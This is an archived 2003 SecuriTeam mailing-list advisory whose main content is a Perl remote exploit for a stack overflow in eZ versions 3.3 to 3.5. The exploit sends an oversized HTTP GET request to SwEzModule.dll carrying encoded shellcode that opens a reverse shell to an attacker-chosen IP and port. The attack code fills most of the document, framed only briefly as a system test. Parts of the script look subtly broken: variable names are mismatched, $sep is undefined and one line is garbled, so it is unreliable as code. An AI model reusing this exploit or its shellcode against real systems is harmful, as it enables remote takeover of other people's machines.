

[EXPL] eZ Package Stack Overflow Vulnerability

Source: <http://www.derkeiler.com/Mailing-Lists/Securiteam/2003-12/0050.html>

From: SecuriTeam (*support_at_securiteam.com*)

Date: 12/18/03

To: list@securiteam.com

Date: 18 Dec 2003 10:44:09 +0200

The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: <http://www.securiteam.com>

-- promotion

The SecuriTeam alerts list – Free, Accurate, Independent.

Get your security news from a reliable source.

<http://www.securiteam.com/maillinglist.html>

eZ Package Stack Overflow Vulnerability

SUMMARY

As we reported in our previous article

<<http://www.securiteam.com/windowsntfocus/6K0032A95O.html>> eZ Multiple Packages Stack Overflow Vulnerability, a vulnerability in the product allows remote attackers to cause the product to execute arbitrary code.

The following exploit code can be used to test your system for the mentioned vulnerability.

DETAILS

Vulnerable systems:

* eZ version 3.5.0 and prior

Immune systems:

* eZ version 3.6.0

Exploit:

```
#!/usr/bin/perl -w
```

```
#####C###O###R###O###M###P###U###T###E###R#####
```

```
[Crpt] universal eZ v3.3 < v3.5 remote exploit by kralor [Crpt] #
```

```
#-----#
```

```
# versions tested & not vulnerables: v3.0 v3.1 v3.2 #
```

Securiteam: [EXPL] eZ Package Stack Overflow Vulnerability

```
# versions tested & vulnerables: v3.3 v3.4 v3.5 #
# Cryptso.dll contains a 'static' jmp esp in eZnetwork pack from v3.3 to
v3.5 #
# It is a trivial exploit, jumping to esp, then at esp we jump backward to
#
# finally reach the shellcode. The shellcode gives a reverse remote shell.
#
# Universal shellcode coded by kralor with the PEB technic. #
#####W###W###W###.###C###O###R###O###M###P###U###T###E###R###.###use
IO::Socket;

print "\r\n\t [Crpt] eZ v3.3 < v3.5 remote exploit by kralor
[Crpt]\r\n";
print "\t\twww.coromputer.net && undernet #coromputer\r\n\r\n";

if(@ARGV<3||@ARGV>3) {
print "syntax: ".$0." <victim> <your_ip> <your_port>\r\n";
exit;
}

print "[+] Connecting to ".$ARGV[0]."\t...";

my $sock = IO::Socket::INET->new(Proto=>'tcp',
PeerAddr=>$ARGV[0],
PeerPort=>"80");

if(!$sock) {
print "Error\r\n";
exit;
}

print "Done\r\n";

# 0xffe4 jmp esp in Cryptso.dll (v3.3 v3.4 v3.5 @ 0x1004C72B)
# 0xffffdffe9 jmp back ( $ - 4'608)

$eip = "\x2B\xC7\x04\x10";
$jmp_back = "\xE9\xFF\xED\xFF\xFF";
# universal reverse remote shell using PEB, coded by kralor.
$shellcodeI =
"\xeb\x02\xeb\x0f\x66\x81\xec\x04\x08\x8b\xec\x83\xec\x50\xe8\xef".
"\xff\xff\xff\x5b\x80\xc3\x10\x33\xc9\x66\xb9\x9e\x01\x80\x33\x95".
"\x43\xe2\xfa\x7e\xe6\xa6\x4e\x26\xa5\xf1\x1e\x96\x1e\xd5\x99\x1e".
"\xdd\x99\x1e\x54\x1e\xc9\xb1\x9d\x1e\xe5\xa5\x96\xe1\xb1\x91\xad".
"\x8b\xe0\xd9\x1e\xd5\x8d\x1e\xcd\xa9\x96\x4d\x1e\xce\xed\x96\x4d".
"\x1e\xe6\x89\x96\x65\xc3\x1e\xe6\xb1\x96\x65\xc3\x1e\xc6\xb5\x96".
"\x45\x1e\xce\x8d\xde\x1e\xa1\x0f\x96\x65\x96\xe1\xb1\x81\x1e\xa3".
"\xae\xe1\xb1\x8d\xe1\x9f\xde\xb6\x4e\xe0\x7f\xcd\xcd\xa6\x55\x56".
"\xca\xa6\x5c\xf3\x1e\x99\xca\xca\x1e\xa9\x1a\x18\x91\x92\x56\x1e".
"\x8d\x1e\x56\xae\x54\xe0\x08\x56\xa6\x4e\xfd\xec\xd0\xed\xd4\xff".
"\x9f\xff\xde\xc6\x7d\xe9\x6a\x6a\x6a\xa6\x5c\x52\xd0\x69\xe2\xe6".
"\xa7\xca\xf3\x52\xd0\x95\xa6\xa7\x1d\xd8\x97\x1e\x48\xf3\x16\x7e".
```

Securiteam: [EXPL] eZ Package Stack Overflow Vulnerability

```
"\x91\xc4\xc6\x6a\x45\xa6\x4e\x1c\xd0\x91\xfd\xe7\xf0\xe6\xe6".
"\xff\x9f\xff\xde\xc6\x7d\xde\x6a\x6a\x6a\x1e\xc8\x91\xa6\x6a\x52".
"\xd0\x69\xc2\xc6\xd4\xc6\x52\xd0\x95\xfa\x66\xfe\xf0\x1c\xe8\x91".
"\xf3\x52\xd0\x91\xe1\xd4\x1e\x58\xf3\x16\x7c\x91\xc4\xc6\x6a\x45".
"\xa6\x4e\xc6\xc6\xc6\xd6\xc6\xd6\xc6\x6a\x45\x1c\xd0\x31\xfd".
"\xfb\xf0\xf6\xe1\xff\x96\xff\xc6\xff\x97\x7d\x93\x6a\x6a\x6a\xa6".
"\x4e\x26\x97\x1e\x40\xf3\x1c\x8f\x96\x46\xf3\x52\x97";
$shellc0deII = "\xff\x85\xc0\x6a\xe0\x31\x6a\x45\xa6".
"\x4e\xfd\xf0\xe6\xe6\xd4\xff\x9f\xff\xde\xc6\x7d\x40\x6b\x6a\x6a".
"\xa6\x4e\x52\xd0\x39\xd1\x95\x95\x95\x1c\xc8\x25\x1c\xc8\x2d\x1c".
"\xc8\x21\x1c\xc8\x29\x1c\xc8\x55\x1c\xc8\x51\x1c\xc8\x5d\x52\xd0".
"\x4d\x94\x94\x95\x95\x1c\xc8\x49\x1c\xc8\x75\x1e\xc8\x31\x1c\xc8".
"\x71\x1c\xc8\x7d\x1c\xc8\x79\xa6\x4e\x18\xd8\x65\xc4\x18\xd8\x39".
"\xc4\xc6\xc6\xc6\xff\x94\xc6\xc6\xf3\x52\xd0\x69\xf6\xf8\xf3\x52".
"\xd0\x6b\xf1\x95\x1d\xc8\x6a\x18\xc0\x69\xc7\xc6\x6a\x45\xa6\x4e".
"\xfd\xed\xfc\xe1\xc5\xff\x94\xff\xde\xc6\x7d\xf3\x6b\x6a\x6a\x6a".
"\x45\x95";
my $tip = inet_aton($ARGV[1]);
my $paddr = sockaddr_in($ARGV[2], $tip);

$paddr=substr($paddr,2,6);
$paddr=$paddr^"\x95\x95\x95\x95\x95\x95";
my $rport=substr($paddr,0,2);
my $rip=substr($paddr,2,4);

$request = "GET /SwEzModule.dll?operation=login&autologin="
"\x90"x100.$shellc0deI.$rport."\x96\x46\x52\x97".$rip.$shellc0deII.
"\x90"x4103.$sep."\x90"x4.$jmp_back." HTTP/1.0\r\n\r\n";

print $sock $request;
print "[+] Sending evil request[t...";
close($sock);
print "Done\r\n";
exit;
```

ADDITIONAL INFORMATION

The information has been provided by <<mailto:kralor@coromputer.net>> Iván Rodríguez Almuíña.

```
=====

This bulletin is sent to members of the SecuriTeam mailing list.
To unsubscribe from the list, send mail with an empty subject line and body to:
list-unsubscribe@securiteam.com
In order to subscribe to the mailing list, simply forward this email to: list-subscribe@securiteam.com

=====
```

Securiteam: [EXPL] eZ Package Stack Overflow Vulnerability

DISCLAIMER:

The information in this bulletin is provided "AS IS" without warranty of any kind.

In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.